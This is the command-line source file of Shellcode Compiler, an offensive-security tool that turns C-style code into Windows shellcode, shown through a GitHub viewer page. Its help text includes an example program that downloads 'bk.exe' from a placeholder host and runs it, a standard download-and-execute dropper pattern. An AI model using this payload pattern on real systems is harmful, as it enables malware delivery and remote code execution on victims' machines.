FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
ShellcodeCompiler/ShellcodeCompiler/CommandLine.cpp at master · daveortiza/ShellcodeCompiler · GitHub
daveortiza
ShellcodeCompiler
Repository navigation
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
ShellcodeCompiler
/
ShellcodeCompiler
/
CommandLine.cpp
Copy path
More file actions
More file actions
Latest commit
History
History
History
197 lines (156 loc) · 5.27 KB
Breadcrumbs
ShellcodeCompiler
/
ShellcodeCompiler
/
CommandLine.cpp
Copy path
File metadata and controls
197 lines (156 loc) · 5.27 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#
include
"
CommandLine.h
"
//
Program version
#
define
PROGRAM_VERSION
"
v0.2 Alpha
"
//
Global variable for command line arguments
bool
CommandLine::g_bHelp =
false
;
bool
CommandLine::g_bVerbose =
false
;
bool
CommandLine::g_bTest =
false
;
bool
CommandLine::bError =
false
;
bool
CommandLine::g_bReadFile =
false
;
string CommandLine::g_sReadFile =
"
"
;
bool
CommandLine::g_bOutputFile =
false
;
string CommandLine::g_sOutputFile =
"
"
;
bool
CommandLine::g_bASMFile =
false
;
string CommandLine::g_sASMFile =
"
"
;
//
Print help
void
CommandLine::PrintHelp
(string p_sFile)
{
cout << endl;
cout <<
"
Shellcode Compiler
"
<<
PROGRAM_VERSION
<< endl;
cout <<
"
Ionut Popescu [ NytroRST ]
"
<< endl;
cout <<
"
NytroSecurity [ nytrosecurity.com ]
"
<< endl << endl;
cout <<
"
Program description
"
<< endl;
cout <<
"
-------------------
"
<< endl;
cout <<
"
\t
Shellcode Compiler is a program that compiles C/C++ style code
"
<< endl;
cout <<
"
into a small, position-independent and NULL-free shellcode for Windows.
"
<< endl;
cout <<
"
It is possible to call any Windows API function in a user-friendly way.
"
<< endl << endl;
cout <<
"
Command line options
"
<< endl;
cout <<
"
--------------------
"
<< endl;
cout <<
"
\t
-h (--help) : Show this help message
"
<< endl;
cout <<
"
\t
-v (--verbose) : Print detailed output
"
<< endl;
cout <<
"
\t
-t (--test) : Test (execute) generated shellcode
"
<< endl;
cout <<
"
\t
-r (--read) : Read source code file
"
<< endl;
cout <<
"
\t
-o (--output) : Output file of the generated binary shellcode
"
<< endl;
cout <<
"
\t
-a (--assembbly) : Output file of the generated assembly code
"
<< endl << endl;
cout <<
"
Source code example
"
<< endl;
cout <<
"
-------------------
"
<< endl << endl;
cout <<
"
\t
function URLDownloadToFileA(
\"
urlmon.dll
\"
);
"
<< endl;
cout <<
"
\t
function WinExec(
\"
kernel32.dll
\"
);
"
<< endl;
cout <<
"
\t
function ExitProcess(
\"
kernel32.dll
\"
);
"
<< endl << endl;
cout <<
"
\t
URLDownloadToFileA(0,
\"
https://site.com/bk.exe
\"
,
\"
bk.exe
\"
,0,0);
"
<< endl;
cout <<
"
\t
WinExec(
\"
bk.exe
\"
,0);
"
<< endl;
cout <<
"
\t
ExitProcess(0);
"
<< endl << endl;
cout <<
"
Invocation example
"
<< endl;
cout <<
"
------------------
"
<< endl;
cout <<
"
\t
"
<< p_sFile <<
"
-r Source.txt -o Shellcode.bin -a Assembly.asm
"
<< endl;
}
//
Parse command line arguments
void
CommandLine::ParseCommandLine
(
int
argc,
char
*argv[])
{
string CurrentParam;
string NextParam;
//
Check arguments
for
(
int
i =
1
; i < argc; i++)
{
CurrentParam = argv[i];
if
(i +
1
< argc) NextParam = argv[i +
1
];
else
NextParam =
"
"
;
//
Check options
if
(CurrentParam.
compare
(
"
-h
"
) ==
0
|| CurrentParam.
compare
(
"
--help
"
) ==
0
) g_bHelp =
true
;
else
if
(CurrentParam.
compare
(
"
-v
"
) ==
0
|| CurrentParam.
compare
(
"
--verbose
"
) ==
0
) g_bVerbose =
true
;
else
if
(CurrentParam.
compare
(
"
-t
"
) ==
0
|| CurrentParam.
compare
(
"
--test
"
) ==
0
) g_bTest =
true
;
//
Arguments that require an option as a second argument
else
if
(CurrentParam.
compare
(
"
-r
"
) ==
0
|| CurrentParam.
compare
(
"
--read
"
) ==
0
)
{
g_bReadFile =
true
;
if
(NextParam.
length
() >
0
) g_sReadFile = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -r argument
"
<< endl;
}
}
else
if
(CurrentParam.
compare
(
"
-o
"
) ==
0
|| CurrentParam.
compare
(
"
--output
"
) ==
0
)
{
g_bOutputFile =
true
;
if
(NextParam.
length
() >
0
) g_sOutputFile = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -o argument
"
<< endl;
}
}
else
if
(CurrentParam.
compare
(
"
-a
"
) ==
0
|| CurrentParam.
compare
(
"
--assembly
"
) ==
0
)
{
g_bASMFile =
true
;
if
(NextParam.
length
() >
0
) g_sASMFile = NextParam;
else
{
bError =
true
;
cout << endl <<
"
Missing required value for -a argument
"
<< endl;
}
}
}
//
Check for errors
if
(bError ==
true
)
{
cout <<
"
Cannot compile, check command line arguments!
"
<< endl;
return
;
}
//
Help
if
(g_bHelp)
{
PrintHelp
(argv[
0
]);
return
;
}
//
Parse source file
if
(g_bReadFile)
Compile::ParseFile
(
Utils::ReadSourceFile
(g_sReadFile));
else
{
cout <<
"
You must specify a source code file!
"
<< endl;
return
;
}
//
Output data from verbose mode
if
(g_bVerbose)
DebugUtils::DumpAllData
();
//
Output ASM file
if
(g_bASMFile)
{
if
(
Utils::FileExists
(g_sASMFile))
Utils::DeleteSourceFile
(g_sASMFile);
Compile::CompileAllData
(g_sASMFile);
}
else
{
string
sFile
=
Utils::GetTemp
();
sFile
+=
"
\\
SC.asm
"
;
g_sASMFile =
sFile
;
if
(
Utils::FileExists
(g_sASMFile))
Utils::DeleteSourceFile
(g_sASMFile);
Compile::CompileAllData
(
sFile
);
}
//
Output file
if
(!g_bOutputFile)
g_sOutputFile =
"
SC2.bin
"
;
if
(
Utils::FileExists
(g_sOutputFile))
Utils::DeleteSourceFile
(g_sOutputFile);
//
Compile using Keystone engine
size_t
nAssembledSize =
0
;
unsigned
char
*pcAssembled =
KeystoneLib::Assemble
(&nAssembledSize,
Utils::ReadSourceFile
(g_sASMFile));
if
(nAssembledSize ==
0
)
{
cout <<
"
ERROR: Cannot compile the code!
"
<< endl;
return
;
}
//
Write output to file
size_t
nResult =
Utils::WriteBinaryFile
(g_sOutputFile, pcAssembled, nAssembledSize);
if
(nResult ==
0
)
{
cout <<
"
ERROR: Cannot write the compiled shellcode to file!
"
<< endl;
return
;
}
//
Test shellcode
if
(g_bTest)
{
cout << endl <<
"
Testing shellcode...
"
<< endl;
Sleep
(
3000
);
DebugUtils::TestShellcode
(g_sOutputFile);
}
}
Back
|
FazBrowse Home
|
New Git URL